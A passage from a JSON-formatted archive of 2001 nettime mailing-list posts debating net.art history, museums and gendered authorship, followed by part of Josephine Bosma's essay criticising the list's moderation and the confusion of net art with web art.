                        "from": "trip dixon <trw34x {AT} hotmail.com>",
                        "content": "\n>>>>>ALso, I am sure this has been part of your consideration,,\n\nbut as an art exists, so must a viewer...  I have not read much myself on \nhow this   contemporary net.art viewer is being defined>>>  ...but i have \nDefined it myself as the user-viewer.\n\n       this user-viewer is the critical observer of the events that occur \nwithin the interface of the technology in question: in our case,   the \nincreasingly middle-class technologies of the internet:   the Cyborg \nextensions of our bodies that allow us to communicate with each other via \nelectronic machine technology:::::::::::\n\n\n     The user-viewer is one who critically observes and participate swithin \nan artwork that requires both technological user interactivity, and viewer \ninterpretation. The typical user is a sender-receiver, but the user-viewer \nis simply the critical, observational, sender-receiver<<<<-----\n\n\nbut maybe I'm just talking bollocks.\n\n}}}}}}}}}Any input?\n{screen.print())()){{{{<<<<\n}\n\n&&&&&&trip\n\n\n\n((&cultural appropriation in sound:::  http://www.mp3.com/tripDixon  ))\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00134",
                        "date": "Wed, 14 Feb 2001 22:26:17 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "20010214222617.A18639 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00134.html",
                        "content-type": "text/plai",
                        "author_name": "trip dixon",
                        "subject": "<nettime> Re: net art history"
                    },
                    {
                        "content-type": "text/plai",
                        "from": "josephine starrs <starrs {AT} autonomous.org>",
                        "id": "00158",
                        "content": "\nanother josephine on the subject to confuse you all\n\nwe in 'vns matrix' (cyberfeminist artist group) were making interactive\nartworks and text based performances on the internet pre web days.... as\nwere others.......so i always thought the term net.art should have been\nweb.art as this genre of art only came about with the introduction of the\nworld wide web to the internet.\n\ni was recently at an event where some of these artists were calling\nthemselves 'the fathers of net.art'\n....i guess the 'father's of web.art' doesn't sound quite as sexy, but i\nthink you art historians should maybe point out the difference in your\ntexts as you assign male authorship in your art discourses as you have\nthroughout history.\n\nj.\n\nhttp://starrs.design.nepean.uws.edu.au/\nhttp://starrs.banff.org\nhttp://www.anat.org.au/resistant-media/Bio-Tek\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Fri, 16 Feb 2001 04:57:13 +1100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102160007.TAA05399 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00158.html",
                        "list": "nettime_l",
                        "author_name": "josephine starrs",
                        "subject": "<nettime> Re: net art history"
                    },
                    {
                        "from": "anne-marie <amschle {AT} cadre.sjsu.edu>",
                        "content": "\n>\n>\n>we in 'vns matrix' (cyberfeminist artist group) were making interactive\n>artworks and text based performances on the internet pre web days.... as\n>\n>\n>i was recently at an event where some of these artists were calling\n>themselves 'the fathers of net.art'\n>....i guess the 'father's of web.art' doesn't sound quite as sexy, but i\n>think you art historians should maybe point out the difference in your\n>texts as you assign male authorship in your art discourses as you have\n>throughout history.\n>\n>j.\n>\n\nyes, same canon making pattern.\n\nbut vns matrix is a big impressive mama of net.art not soon to be\nforgotten I hope.\n\nand about the offspring of net.artists--the net.art?\n\nwatching this thread it seemed to focus on writing net.art history based\non the authors/artists, their relations to institutions, resistance or\ncompliance, avant-garde maneuvers, individual personalities, interviews...\n\ni would like to see histories of net.art take into consideration the\noppositions within the art itself, differentiations and tendencies within\nwhat is not a unified field, ways that net.art proposed new ways and\nmeans, how it adapted strategies from past offline art (josephine berry\nmade some correlations between mail art and conceptual art, etc.) also i\nwould like to see histories of net.art look at strategies net.art shares\noutside the art world with digital folk art and other forms of networked\nauthorship like software, writing, music making, gaming, online otaku,\netc.\n\nwe made a taxonomy back in 97 (seems long in the web time) when i was a\ngrad student at cadre. we would voluntarilly meet every week as part of\nSwitch http://switch.sjsu.edu and search around. it was a collective\neffort to map tendencies of what was not yet so fixedly labeled net.art.\npeople involved were Lisa Jevbratt,(1:1), Jan Ekenberg, Ben Eakins, Geri\nWittig(C5), Brett Stalbaum, (EDT and other hacktivisms), and others. we\nmade icons for each category and for many later switch issues Brett posted\nnet.art link collections with these icons attached.\n\nour taxonomy catagories back then were:\n\n-Not Web Art (our response to what led to the net.art term)\n\n-Documentational\n\n-Collaborative\n\n-Narrative\n\n-Unintentional\n\n-Contextual\n\n-Poetic\n\n-Formalist\n\n-Participatory\n\n-Telepresence\n\n-Information Mapping\n\n-Web Event\n\n-Contextual\n\nPerhaps this may be useful to someone.\n\nanne-marie\nhttp://opensorcery.net/\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00194",
                        "date": "Sat, 17 Feb 2001 16:25:47 -0800",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102180733.CAA07289 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00194.html",
                        "content-type": "text/plai",
                        "author_name": "anne-marie",
                        "subject": "Re: <nettime> Re: net art history"
                    },
                    {
                        "from": "Simon Biggs <simon {AT} babar.demon.co.uk>",
                        "content": "\n\n>On Mon, 19 Feb 2001, olia lialina wrote:\n>> But don't you see that net art and net artists changed the\n>> landscape of contemporary art? Now, art institutions have to\n>> learn to act as nodes (not as a center). And they do.\nMurph wrote:\n>Can't see that has happened much from my perch here in NYC. Maybe in\n>Europe that's true. Certainly the Guggenheim is becomming more nodal, but\n>that doesn't have much to do with net art. More like global conquest.\n-----\nThe net has certainly changed the world to some degree but I can't see that\nnet artists have changed anything significant (not that museums are\nparticularly significant anyway, when compared to other global institutions\nor issues). I can't think of many artists that have changed things in the\nbigger picture. I was not aware that this was the role of the artist. Even\nif looking at so-called \"revolutionary art\", whether Russian, Mexican or\nwhatever, where the artists have believed that they were a key component in\ncultural change it is retrospectively apparent that they were deluding\nthemselves.\n\nArtists do not transform the world. They transform how they personally see\nthe world and this gradually rubs off little by little on others...but only\nwhen they are ready for it. Art is not politics...although it might be\npolitical.\n\n>There's been interest in the \"archaic days\" lately, the period pre-1994\n>stretching back to the dawn of humankind. Carl Leoffler's death the other\n>day reminded me that his ArtCon newsgroup was one of my first contacts\n>with other artists on the net. I think both Heath Bunting and Brad Brace\n>were there.\n-----\nI wasn't aware of Carl's death. That is a more significant cultural event\nthan the death of Balthus that everyone is talking about...at least for\nme...\n\n>I think John Hopkins teaches at Boulder off and on. Universities are\n>looking for ways to cash in on digital art. Amerika's use of the phrase\n>\"innovative ciriculum\" is a dead giveaway. That's biz talk, not art talk.\n>Art students all want to make Jurrasic Park these days.\n-----\nUniversities want active research profiles. The current interest in all\nthings digital and net-based means that artists working in that area can\nbring to the institution their research points. Ultimately this translates\ninto funding and PR.\n\nSome universities even expect such artists to teach ;)\n\n\n\n\n\nSimon Biggs\nLondon GB\n\nsimon {AT} babar.demon.co.uk\nhttp://hosted.simonbiggs.easynet.co.uk/\n\n\nResearch Professor\nArt and Design Research Centre\nSchool of Cultural Studies\nSheffield Hallam University\nSheffield, UK\nhttp://www.shu.ac.uk/\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00212",
                        "date": "Tue, 20 Feb 2001 10:59:40 +0000",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102201815.NAA04900 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00212.html",
                        "content-type": "text/plai",
                        "author_name": "Simon Biggs",
                        "subject": "<nettime> Re: net art history"
                    },
                    {
                        "from": "Amy Alexander <plagiari {AT} plagiarist.org>",
                        "content": "\n\nA couple of thoughts on this popular net.art.thread:\n\nAs has been already been mentioned a couple times in the thread: focusing\non net.art seems to imply it's *the* history of net art, a seemingly\nunbreakable modernist habit. Though I understand it wasn't Josephine's\nintention to imply this, focus on net.art history over the years causes\nhumans reflexively to have such a reaction. Also, it doesn't help that the\nname of the movement is one punctuation mark away from the name of the\ngeneric form: \"net.art and net art.\" If a movement sprang up called\n\"sculp.ture\" people could probably keep it straight, because the term\n\"sculpture\" has been in active use for quite some time - but \"net.art\"\nsprang up when \"net art\" was fairly new, and so the two have become\nconfused to a large extent. (I'm not sure myself where one ends and the\nother begins; blurring boundaries having been a goal of net.art, perhaps\nthats a good thing.)\n\nSo there are clearly other net art histories than net.art: we have heard\nfrom the mail art mothers of net art, Elisa Rose, and for example, a\nnumber of us in the US were actively doing net art when I started in 1996:\nVictoria Vesna, Shu Lea Chang, Ken Feingold, SITO, Brad Brace, Electronic\nCafe, as a few (but not the only) examples, some of whom go back much\nfarther than 96. Brad Brace, of course was working largely on Usenet,\nElectronic Cafe was working with video/audio networked performance as an\nextension of telecommunication art; most of the rest of us were working on\nthe web. I think, overall, we were more focused here on the idea of\nexploring/exploiting the network and of communal, networked production (of\nintangible objects) than the European net.art folks. (But that's a rough\ngeneralization - for example, projects like \"Refresh\" would have fit right\nin - and in fact I remember that project being very popular here.) On the\nother hand, we found ourselves dealing with some of the same issues as the\nfolks in Europe: museums and galleries wanting to show the work, but\nwanting the file on their system so they could somehow have an \"object\"\nthat the rest of the world on the Internet didn't have.... though somehow,\nwhen I told them this was impossible and defeated the purpose of the\nRecycler, they always seemed to show it anyway, sans file - evidence of\nOlia's node theory. I made the Gallery section of the Multi-Cultural\nRecycler as a joke on gallery net art objects, but this didn't seem to\ndissuade them - they printed out the Recycler Gallery images to hang on\nthe walls for shows.  Go figure. Well, enough of the shameless personal\nplugs...\n\nWhat I think we lacked in the US was a \"movement\" the way net.art was a\nmovement. (That doesn't speak for other net art histories, such as mail\nart, only for the particular movement that I was not involved in at the\ntime. :-) Please feel free to correct me if you were, in fact, involved in\na net art movement - would be nice to get all these net art histories\nbetter documented somewhow... ) But anyway, net.art had a movement, at the\nvery least it had coherence, and although it aimed to subvert the art\nworld, eventually its own sort of art world formed around it. It developed\na culture, hype and mystique through lists and texts; it had a center,\ninsiders, outsiders, even nodes.  This is of course not a failure; this is\nunavoidable:  groups form; even anarchism is an institution. Then\nhistories of the anti-institutional institutions begin to be written, and\nthe fun begins. (Look how long this thread has been going... ) With all\nthat baggage, how can a postmodern modernist institution possibly survive\nthe critical eye of History?\n\nSo, did net.art fail? I don't think so - look at all this extra-galleric\nhistory it's generating... It wanted to divert production/attention from\nthe Art World - here we all are arguing about it, people are writing their\ntheses about it, etc.  I'd say it succeeded in its aim pretty well. Did\nthe museums and galleries absorb some of it anyway? Sure, what's to stop\nthem. Is that a failure? No. I think Olia hits it right on the head with\nthe node theory. Whether a museum or gallery acknowledges it or not, it\ncan be no more than a node with regards to net art. But then, this is the\nnature of net art, as well as of net.art. Moreover, the absorption and\ncommodification of both net.art and net art is limited, partial, and\noptional to the artists. Neither has been consumed by galleries, and they\nhave not developed a dependence on them.\n\nIs net.art dead? Where did the net.artists go? They are still making\nnet.art, or at least net art... they are also making political statements,\nmusic, love, babies; this is life, not death. Net.art is not about the Art\nPolice forcing people to do the same thing constantly to prove commitment\nto it; no art really is. The crux is still there. Whether the production\nis the same as it was 5 years ago or not is not really the point: it is\nwhat it is, it left what it left, and the frenzy of discussion about it\nhere is itself evidence of its success in what it set out to do. The\nlayers may peel on and off, but the center is still there - think of it as\ntoilet paper. BTW, don't try to flush the tube; it just keeps bobbing back\nup.\n\n(Note to people who take things literally: toilet paper is a good thing;\njust think of the mess you'd have trying to wipe up with the Art Journal.)\n\n \nciao,\n- {AT} \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00223",
                        "date": "Wed, 21 Feb 2001 03:28:52 -0800",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102211844.NAA20046 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00223.html",
                        "content-type": "text/plai",
                        "author_name": "Amy Alexander",
                        "subject": "<nettime> Re: net art history"
                    },
                    {
                        "from": "\"nullpointer\" <nullpointer {AT} odessadesign.co.uk>",
                        "content": "\n\n>>>\n>> the party's nearly over..\nSome think net.art is dead...\nwhether it is or not is of course a question of perception and semantics.\nHowever I feel that there is no doubt that the \"golden age\" of reveling in\nthe creative freedom of a new media is over. No longer can we hold up the\nmedium as the sole validifying factor of an art work. The many modes of\npratice that have been explored since net.art was born will become just part\nof a more general syntax with which we value,critique,record and enjoy. Like\nany new medium it carries its own intrinsic forms and aesthetic, and like\nany medium it is in flux, it's own boundaries redefined with each new\nrefrain or impact.\nHowever too much grey change from one form to the next and too many shouts\nfrom a swelling crowd is not good for history or for theorists.Critique and\ntheory needs reliable subjects and consistency of source material.\nUnfortuanately this need for definable boundaries increases in inverse\nproportion to the knowlege of those documenting them.\n>>\nASCII Paparazzi.\n. Anyway, the biggest problem net art journalists and observers\nhave is that we are too few with too much to do.\n>>\nIn a sense I agree, yet I feel that often the (ASCII Paparazzi as olia puts\nit) are the majority,\nwriters and theorists who are caught up in the tide of\nnet.art/newmedia/convergence\nbecause it is \"new\" ,\"fashionable\",\"looks good\". The newmedia/net world\nimplies progression and forwardthinking intelligence, evolution and\ntransgression even before you begin.\nI have been to countless seminars and conferences where the conversation is\nall too backslapping and uninformed, demystification and real dissection\noften takes a back seat to eulogy.\nInterviewers ask artists about themes or subject matter that the journo has\nwritten about and therefore insists lies within the peice even if the artist\ndenies it outright (yes there is a discussion of author/viewer e.t.c. but it\ndoesn't make a very interesting conversation.)\n\nDon't even get me started about institutions, 2 years at the Tate, managing\na healthy portion of their online arts projects again brought me to many\nunexpected and sad/happy conclusions about the state of play in the\nnet.art.world\n\nso soon it will be time to leaf through the litter\n>> and pick up the bits that are worth keeping for the next party,\n\nI am hoping that the crossover will do the weeding...We can already see how\nsome \"classics\" were never classics an the first place. Perhaps the harsher\nscrutiny of the institutions and of the history makers will, in it's own\nway, refine the qualities that make some net.art real contenders.\nI'm not being negative, I really think that this is a good thing, because\nI've seen too much weak work trophied, work that in any other medium would\nnever have made it out of the box. It will also make greater demmands on the\ndocumenters, the journalists, not to be ASCII paparazzi, but to help form a\nmore thought-out history, from more than emails, screens and macromedia\nfestivals.\n\n________________________________________________________\nC:\\AUTOEXEC.BAT\nC:\\REM [Header]\nC:\\>\nC:\\>PATH=C:\\PERL\\BIN;C:\\WINDOWS\\COMMAND;\\C:jdk1.2.2\\bin\n________________________________________________________\n\nhttp://www.nullpointer.co.uk\n(all suffixes enabled)\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00227",
                        "date": "Wed, 21 Feb 2001 14:48:22 -0000",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200102212102.QAA21649 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00227.html",
                        "content-type": "text/plai",
                        "author_name": "nullpointer",
                        "subject": "Re: <nettime> Re: net art history"
                    }
                ],
                "message-id": "200102131923.OAA29640 {AT} bbs.thing.net",
                "date": "Tue, 13 Feb 2001 10:31:37 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00209",
                "content": "\nText for Moscow: Between moderation and extremes.\nthe tensions between net art theory and popular art discourse. \n\n~ Josephine Bosma\n   \n    <<back   \n    \nBetween moderation and extremes\nthe tensions between net art theory and popular art discourse \n\nSociety on the Internet is hardly different from that off-line. The few\ndifferences in cultural, social, and political structures up to now, should\nmostly be credited to the specifics of its technology and to the inexperience\nof people working with it. So far - nothing really new. Because we are\ndealing with a medium that is still under development there is however an ongoing\nfeeling of play and novelty about the net, which evokes and has evoked\nsmaller and larger dreams of a Better World. In the initial excitement about\n(and exploration of) the new medium we witnessed a strong tendency towards\ncross- or multidisciplinary work and collaboration in a still relatively small\ngroup of online cultural 'developers'. With the effects of excitement slowly\nfading away, disciplines and discourses appear to separate from each other\nagain, succumbing largely to age-old off-line structures. Do we need to\ninterfere in this development? To what extent have there ever been alternative\nstructures, and are they necessary at all? Is it possible to move beyond the\nlimitations of both technology and 'traditional' social structures? I want to\nshow firstly in a short analysis of the mailing list nettime, that\nneglecting a critical attitude towards the fundamental structure and outside\nperception (from different viewpoints at the same time) of one's project, produces\nnegative and even destructive effects in the end. Cross-disciplinary\ninvestigations and theory are vital to countering a development of a narrowing down\nof the possibilities to have influence on the continuing construction of a\nmediated society, in which art, in my point of view, still plays a\nsignificant role. When looking more specifically at net art, we can find this\nnarrowing development in the separation of critical media discourse and net art as\nit is strongly represented by nettime. In the much broader field outside\nthis list we see another danger for art on the net in the rather strong\ntendency towards simplification of the net art discourse through a curious focus on\nweb art (as opposed to the broader field of net art). No matter how good\nsome web art is, web art in general should not replace net art through pure\nlack of knowledge and awareness. \n\nThe connection between (net) art and theory is vital. The two should\ndevelop together, in order to make sure the institutional reception and handling\nof this art is as close to the art practice as possible. Art education and\npresentation are basic elements for a flourishing art practice. Even if art\neducation and presentation are now replaced by self education, exploration\nand self representation on the net, institutional practices will still be of\ncrucial importance. \n\n  \n\nNettime and Cross Disciplinary Theory \n\nThe development of net art has been under attack from two sides. On the\none hand we see the long predicted institutionalization of art on the net\nthrough existing artworld structures, and on the other hand the net arts are\nbeing cut off from cross-disciplinary discourse and media theory by key figures\nof one of its first influential playgrounds: nettime. Net art was embraced\nas an alternative or radical view of net.culture by nettime from 1995 to\n1997, when list moderation first started invisibly, and later officially.\nNettime was started in 1995 by a group of about ten 'media theorists' and\n'artists'; as an initiative of Pit Schultz and Geert Lovink. Amongst the artists\nwere Paul Garrin and Heath Bunting. Each list member in the early stages of\nnettime seemed equally important, and each member brought along his or her\ncontacts. The problem with nettime was (and is) that there has never been a\nclear explanation or description of its structure, yet it was presented very\nmuch as a community effort. It had live meetings and online discussions where\nthe direction and purpose of the list were discussed and all members were\nasked to perform tasks and develop tools or additions to the list for the\nbenefit of all. The list was supposed to be a radical counter force against a\nso-called 'disneyfication' of the Internet in all its aspects. Critical\napproaches of 'political' mechanisms (and those politics could be within\ngovernments, military, commerce, industry/ technology, media, or art: as they were\nall entwined) were its basic driving force. Being a member of nettime more or\nless equaled joining this battle against commerce, corporate powers,\ntechno-ignorance and cultural deprivation. When the mailing list (and of course the\ngroup of Internet users in general) grew, and more and more subscribers\njoined in order to simply have their daily updates from the by now infamous\nlist (rather than being actively involved) the desire for consensus became\nstrong. The list slowly changed from an exchange forum into a platform (see my\ninterview with Heath Bunting in Telepolis). In this development the balance\nbetween active discourse and individual promotion or presentation of texts\nwas lost. Art discourse (by which I mean not only art theoretical discourse,\nbut also experimental representations and exchanges within net art) in this\nenvironment was soon seen as noise, as it did not follow traditional and\nharmonic (read: academic) modes of communication. What then happened, artists\nwere first approached individually, off-list, in order to change their modes\nof communication (meaning: they should not send experimental texts to the\nlist anymore). This resulted in the first and most important separation of\nartists from the list. After the nettime meeting in Ljubljana in 1997, Jodi,\nHeath Bunting, Alexei Shulgin, Rachel Baker and others left the list. This\nunfortunate development caused quite some debate behind closed doors, and was\nperceived as unnecessary; the attitude of the artists was seen as provocative.\nPaul Garrin, one of the last remaining artists from the foundation of\nnettime, never left the list. His project 'namespace' has a strong political\nbackground, and was initiated at a nettime meeting during the tactical art&media\nfestival n5m2 in Amsterdam. Namespace needs to keep in touch with, and\nneeds to be represented within, the environment it sprouted from. Not even half\na year after the large list meeting in Ljubljana though, Garrin's posts and\ndisputes via the list were the reason for the 'list owners' Pit Schultz and\nGeert Lovink to switch on the moderation button, and to start filtering the\nlist. According to them, they had had complaints. A lot of these complaints\nprobably came from the most dominant moderator of the list today, an enemy\nof Garrin: Ted Byfield. This way, without much open discussion or\nexplanation, there came an end to experimentation and openness on the nettime list.\nNettime has and still does profile itself as being in support of, or in search\nof, new modes of development for the media in society. This aspect of it has\nhowever been completely neglected because of the hidden political and\npersonal agenda of some of its moderators, which does not allow for openness or\nexperiments. Nettime has turned into a watered down online version of n5m,\nwith the difference that at n5m art is still, though highly cornered by\npolitics, part of the discourse. The biggest problem with nettime is 'its'\nunwillingness to reflect on 'its' radical change from exchange forum (with input\nfrom many) to moderated platform (with strong influence of a few members\nmostly) today. Not only does cultural theory suffer from it directly today, also\nthe experiments and thoughts about it from a few years back are made to look\nsuspicious through the consequent denial of their importance and influence.\n\n\nNettime was not simply interesting to net art because it brought together\na group of people from mixed backgrounds and disciplines. The Thing had done\nso also, and so did The Well. The Thing however first of all had a much\nsmaller group of members, plus its scope of topics was narrower. It was and is\nmore an art server, both Thing New York and Thing Europe. The Well was too\nAmerican for the taste of many, and starting a critical discourse around the\ndevelopment of the Internet through a California list probably seemed a\ncontradiction in terms. What was interesting about nettime, next to its\ncross-disciplinary tendencies, was the strong presence of non-American cultural\ninput on the list (or in other words: the diversity of cultures). Now that\nnettime has chosen to mostly close the door to art, the development of net art\nhas lost a central point for critical cross disciplinary thought from a\nmulticultural perspective. The development of net art is now largely in the hands\nof arts organizations, which not only tend to emphasize art practice as one\nseparate from other practices, but which also have strong local ties. The\nconnection to local art environments creates stronger divisions within art\ndiscourse online, resulting unsurprisingly in a dominance of American art\ndiscourse in relation to how net art is being perceived. \n\n  \n\nNet Art Discourse and the Artworld \n\nAlthough there are interesting, sometimes rather obscure conferences and\nfestivals on special aspects of net art in Europe and elsewhere, the\nperception of net art both online and in the mainstream media is more and more\ncolored by the state of net art in the United States. The creation of the Webby\nby SFMOMA certainly has caused mainstream media to finally wake up, but the\nWebby seems to be almost the logical consequence of an opening up of the\ntraditional artworld to net art from within an American context. Its mailings\ndon't have the atmosphere of a TV show for no reason. Ironic gestures aside,\nthe Webby looks like an early step in the direction of a Web TV award. The\nloss of a conscious, cross-continent, cross-disciplinary discourse on net art\nhas brought American art discourse into an advantageous position, due to its\ndominance in a few respects. Firstly language (the German speaking\ncountries have a strong art theoretical discourse and a forerunner position in the\nfield of net art theory that is obscured because publications are not being\ntranslated into English), and secondly 'the Americans' have a highly dominant\ninput into the development of the Internet. We now face a net art discourse\nthat is strongly influenced by American economic traditions and mechanisms.\nEspecially as the role of web designers, and their connection to soft- and\nhardware designers, becomes more influential. Rules of web design slowly\ngnaw away at net art practice and theory like acid gnaws at iron. The term net\nart gets confused with or replaced by web art as if the two were\ninterchangeable, without many questions asked. Traditional art practitioners too easily\nturn to the structurally (in terms of basic development of net.technology)\nand economically important 'group' of web designers for what they think is\nthe highest form of knowledge of a medium they know little or nothing about.\nArt historical analysis is barely applied to net art, and if it is, it\nusually happens through the slightly younger tradition of video art. A\nhistorically deeper and therefore more radical analysis of the difference between the\nInternet and mass media, like TV and radio, that includes global economic\nand political developments as well is rare. Replacing the term 'net art' by\n'web art' causes a negligence of art history within a political and economic\nenvironment. The radical implications of net art are replaced by the much\nless threatening aspects of web art. It therefore of course also becomes more\ncompact, easier to grasp and more marketable. \n\nNet art has shown a conceptual overlap between all art forms through the\nvariety of its manifestations and the uneasy definition of it as one artistic\n'style'. In fact it even shows the potential for questioning popular/common\nart history, in which marketability of art has been the primary point of\ndeparture in ranking artworks and artists (and for keeping a stable economic\nenvironment for other art professionals.) One could almost speak of critical\nart history or if that sounds too sharp, specialized art history, as a\n-secret- history that is almost lost for the next generations. Within this secret\nhistory we can find traces of predecessors of what is now called net art.\nWhen we combine these traces with a cross-disciplinary analysis of the\npresent situations that surround net art, we might (it almost sounds like an\nalchemist recipe, but I have to stress I am -not- referring to a so-called\n'spiritual' perception of the arts) arrive at a conceptual, or basic core of, art\npractice within a technological society. It could very well be that it is\nthis mostly unspoken desire to know what the basis of the artistic experience\nis, and the -feeling- that disclosing this knowledge is near (when using the\nInternet as a medium), what excites and drives many net artists. The\nnarrower the definition of net art, the more we lose sight of this almost 'secret'\nart history. With a narrow definition of net art, we stay in the tunnel of\nmass media hyper-reality. \n\n  \n\nUnstable 'Objects' \n\nWith the entrance of electricity, of new media in the arts, we entered an\nera of instability. Instability is something western society has fought\ntraditionally. In the arts this tradition (of fighting instability) expressed\nitself in a radical commodification of art. It expressed itself almost totally\nin a market orientation, in which concept was submitted to business. The\nage of new media is the age of the accident, as it was expressed at the Dutch\nElectronic Art Festival in 1998, which had \"the art of the accident\" as its\ntheme. Have we seen this instability reflected in art history though, in its\nfull force? Do we need to acknowledge the virtues of instability, or do we\nat least need to acknowledge its undeniable part in the state of art and\nculture today? \n\nTilman Baumgaertel made an attempt about 3 years ago to sum up the pre-\nnet art history through events and work in 'traditional' art history. You can\nfind this text online in the archives of (again) Telepolis magazine. He goes\nback as far as the early twentieth century. Going back to the beginning of\nmodernity is important for net art criticism. One can not only see the\nstruggles of artists with new technologies, or their fascination with them, one\ncan also see how art develops more and more into the direction of purely\nconceptual. Matter does not matter anymore. The mixture of art with other\ndisciplines, from psychology to science to even war (if one can call that a\ndiscipline), might be represented in all kinds of materials or media; it in the\nend has led to a diversion away from the art totem to the meaning of it. Even\nif the work is purely visual or aesthetic. Meaning is not stable. To\ncriticize the construction of art as object we can also look at a famous and much\nused art analysis by Greenberg, from around 1940, which can serve net art\ntheory or Art Theory Today. First of all Greenberg's development of criteria by\nwhich one can distinguish art from kitsch is of course a protection of the\nart market from being flooded by mass produced or copied works. The age of\nreproduction, the age of new media (in the definition of Lev Manovich) had\nmatured considerably by 1940. Greenberg serves and protects the art market. On\nthe other hand, after he has sealed off the artworld from works made in the\nnew media of his age, he hands us a tool by which we can -now- condemn most\ncontemporary art as kitsch. One definition of kitsch by Greenberg is\nnamely: a work that is made to look like art, a work made to at first glance\neasily fit within the category of art. True art apparently has to be original: an\noriginal. As nobody would like or would dare to see art this way, as kitsch\n(even if a lot of artworks might deserve it), Greenberg's theory can now be\nused to put art history into perspective. It is no longer the art object\nthat has to suffer the most changes, rather it is art -theory- and (popular)\nart history. The dominant art object can be seen as a manipulation, a\ntheoretical construction. \n\nNet art is an involuntary provocation. Art has been declared dead so many\ntimes that art professionals, whether they come from the popular or near\n'secret' approach of the art institutional processes, have come to accept their\nwork field as a stage for representation (of an image of art shaped through\nsome 'traditional' use of matter) almost completely. The focus on the art\nobject seems to only have become stronger throughout the twentieth century,\ninstead of it losing ground as one might have expected when following the\nthoughts or concepts around early modern art. This strange contradiction was of\ncourse often noticed and pointed at, but somehow the victory of the art\nobject through the art market and subsequently also in popular art history was\ntaken for granted quite easily. It nearly arrived at the point where we\nwould have to accept that 'art as object' is 'the way art simply is'. Art forms\nthat contradicted this definition threatened to be seen as forms of radical\nor conceptual performance or theatre, that serve as theoretical experiments\nwhich in the end only inform other artworks, art objects, but are not of the\nsame importance as those objects. Fortunately this last definition is\nsomewhat losing its potential firmness in the presently powerful position of\nvideo art within the artworld, which of course has been due to the development\nof technology throughout the twentieth century. The unstable, intangible\nvalue of the art object in the age of new media could no longer be denied\nimportance when more and more artists started to work in new media and multimedia.\nNet art however takes the instability of the art product one step further,\nnamely a further step away from 'art spaces'. At least temporarily the 'art\nspaces' (galleries, museums, etc.) are in the position of being an\n-addition- to the representation of an artwork, rather then being the most important\nmeans for the presentation of art. This aspect of net art alone is enough\nfor at least a few controversies. Should for instance small parts of or\nadditions to net artworks have any value, both for art history and for the art\nmarket? Some artists fight or resist the art market. When listening to them,\nthe dominant definition of value today might need reevaluation as well. \n\n  \n\nThe New Art Elite (sic) \n\nThe basics of art selection are also increasingly unclear. The major\ndifference between 20th and 21st century art could probably be that the\ndefinition of high art is more and more one of 'sampling' individuals or groups which\n'compile' an artwork or art environment, opposed to the 20th century dictum\nof art as cultural selection by institutional processes. The loss of\ntangibility, the loss of the art object, is the aspect of net art that is debated\nmost, but of much more importance to art 'selection' now is the loss of\n-clear boundaries- to an artwork in cyberspace. This results especially in a\nchange within the role of the art audience. The much sought after\n'interactivity' does not reside in well designed interfaces and interesting buttons to\npush (or windows to fill), but lies hidden within the presence of the audience\ninside the network. Collaborations of variable intensity, exploration of\nnetworked art pieces and the discourse around these are causing the audience\nto directly enter the realm of critical and artistic practice simultaneously.\nWe can draw from the early art performance practices on the Internet to\nimagine a 'new' role for art institutions, for galleries and museums. As in the\nearly twentieth century, art spaces could be places for social spectacle\nand events again, in which presentation, selection and exchange of ideas and\nnorms are the central activity, as opposed to the consumption of preselected\nworks, which is the dominant activity in museums now. A space like this can\nserve as an area of accumulation of communication, an addition to the\nindividual experience behind the personal computer, an experience that is still\ngrowing in number and importance. The development of art in computer networks\n(which is of course part of, or in addition to, a larger electronic culture)\nin this sense takes the early 20th century avant-garde idea of art\nuntouched by the sublimation and selection of an authority and realizes it by\ndefault. The audience that enters into an artwork in order to explore it to the\nutmost extreme, or the audience that witnesses an unfolding art project over a\nperiod of time and provides it with some level of 'artistic' value. Whether\nthis audience does or does not enter into the 